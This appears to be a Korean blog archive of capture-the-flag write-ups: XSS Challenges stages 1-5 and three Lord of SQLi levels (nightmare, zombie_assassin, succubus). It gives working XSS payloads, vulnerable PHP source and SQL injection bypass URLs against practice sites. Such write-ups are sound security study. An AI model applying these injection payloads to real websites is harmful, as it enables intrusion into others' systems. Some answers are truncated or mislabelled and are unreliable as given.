Stage #5


 

풀이

더보기

글자 수 제한이 있다.

글자 수 제한을 수정해주면 된다.

수정(전)
수정(후)

스크립트를 입력한다.

"><script>alert(document.domain);</script>

 

 

 

 

 

 

'CTF > XSS Challenges' 카테고리의 다른 글

[XSS Challenges] Stage #7  (0) 2020.11.19
[XSS Challenges] Stage #6  (0) 2020.11.17
[XSS Challenges] Stage #4  (0) 2020.11.17
[XSS Challenges] Stage #3  (0) 2020.11.17
[XSS Challenges] Stage #2  (0) 2020.11.17

Stage #4

XSS Challenges #4


풀이

더보기

소스코드를 열어 히든 text를 찾으면 된다.

소스코드가 히든으로 들어있다.

해당 소스코드를 text로 바꿔 웹페이지에 보이도록 했다.

"><script>alert(document.domain);</script>를 입력하여 XSS를 실행한다.

 

 

 

 

 

 

'CTF > XSS Challenges' 카테고리의 다른 글

[XSS Challenges] Stage #6  (0) 2020.11.17
[XSS Challenges] Stage #5  (0) 2020.11.17
[XSS Challenges] Stage #3  (0) 2020.11.17
[XSS Challenges] Stage #2  (0) 2020.11.17
[XSS Challenges] Stage #1  (0) 2020.11.16

Stage #3

 


풀이

더보기

검색을 위한 텍스트 박스는 ""로 text처리가 되어 XSS가 불가능 하다.

아래 국가 옵션을 이용하여 XSS을 이용할 수 있다. 

3가지 풀이법이 있다.

1.  소스코드를 수정한다.

 

2. 개발자 콘솔을 이용하여 XSS가 포함된 옵션을 추가한다. 

 

3. burpsuite로 피라메터를 변경한다.

 

 

 

 

 

 

'CTF > XSS Challenges' 카테고리의 다른 글

[XSS Challenges] Stage #6  (0) 2020.11.17
[XSS Challenges] Stage #5  (0) 2020.11.17
[XSS Challenges] Stage #4  (0) 2020.11.17
[XSS Challenges] Stage #2  (0) 2020.11.17
[XSS Challenges] Stage #1  (0) 2020.11.16

Stage #2


풀이

더보기

<input type="text" name = "p1" size = "50" value ="aaa"> 로값이 입력된다

 

value의 값에 ">을 집어 넣어 코드를 닫아주고 스크립트 구문을 입력한다.

 

정답 :

document.domain);</script>

 

 

 

 

 

 

'CTF > XSS Challenges' 카테고리의 다른 글

[XSS Challenges] Stage #6  (0) 2020.11.17
[XSS Challenges] Stage #5  (0) 2020.11.17
[XSS Challenges] Stage #4  (0) 2020.11.17
[XSS Challenges] Stage #3  (0) 2020.11.17
[XSS Challenges] Stage #1  (0) 2020.11.16

Stage #1

 

XSS Challenges (by yamagata21) - Stage #1

XSS Challenges Stage #1 Notes (for all stages): * NEVER DO ANY ATTACKS EXCEPT XSS. * DO NOT USE ANY AUTOMATED SCANNER (AppScan, WebInspect, WVS, ...) * Some stages may fit only IE. Ranking (optional): If you want to participate in ranking, please register

xss-quiz.int21h.jp


풀이

더보기

1번 이라 간단하다. 

<script>alert(document.domain);</script>

 

 

 

 

 

 

 

'CTF > XSS Challenges' 카테고리의 다른 글

[XSS Challenges] Stage #6  (0) 2020.11.17
[XSS Challenges] Stage #5  (0) 2020.11.17
[XSS Challenges] Stage #4  (0) 2020.11.17
[XSS Challenges] Stage #3  (0) 2020.11.17
[XSS Challenges] Stage #2  (0) 2020.11.17

[LOS] nightmare 풀이

 

PHP & query 
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>
select id from prob_gremlin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("nightmare"); 

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

 6자리 이상이면 안된다.

 

 

sqlInjection 쿼리
select id from prob_nightmare where pw=('')=0;') and id!='admin'

문자열에 숫자가 없을경우 정수형타입의 0으로 형변환된다. ;%00으로 주석을 만들어준다

ex) pw('1a') = 1 (true) // 앞에 숫자가 1이여서 1로 형변환

 

URL

los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=')=0;%00

 

 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] zombie_assassin 풀이 - 17번  (10) 2020.09.17
[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

[LOS] zombie_assassin 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>
select id from prob_zombie_assassin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("zombie_assassin"); 

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~")

문자가 거꾸로 형성되고 특수문자가 있으면 뒤에\가붙는다 

 

sqlInjection 쿼리
select id from prob_zombie_assassin where id='"\' and pw='or true #'
sql에서 인식하는 결과

 특수문자를 넣으면 \가 입력되는 것을 이용하여 해당형태로 만든다.

 

URL

los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id="&pw=%23 eurt ro

 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] nightmare 풀이 - 18번  (0) 2020.09.17
[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

[LOS] gremlin 풀이

 

PHP & query 
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>
select id from prob_gremlin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("succubus");

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
 if(preg_match('/\'/',$_GET[id])) exit("HeHe");
 if(preg_match('/\'/',$_GET[pw])) exit("HeHe");

 싱글쿼터를 필터링한다.

 

sqlInjection 쿼리
select id from prob_succubus where id='\' and pw='or true #'

 id에 \를 넣어서 문자화 시킨다

 select id from prob_succubus where id='\' and pw='or true #'

 id 는 \' and pw= 가 된다

 

URL

los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or true %23 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] nightmare 풀이 - 18번  (0) 2020.09.17
[LOS] zombie_assassin 풀이 - 17번  (10) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

+ Recent posts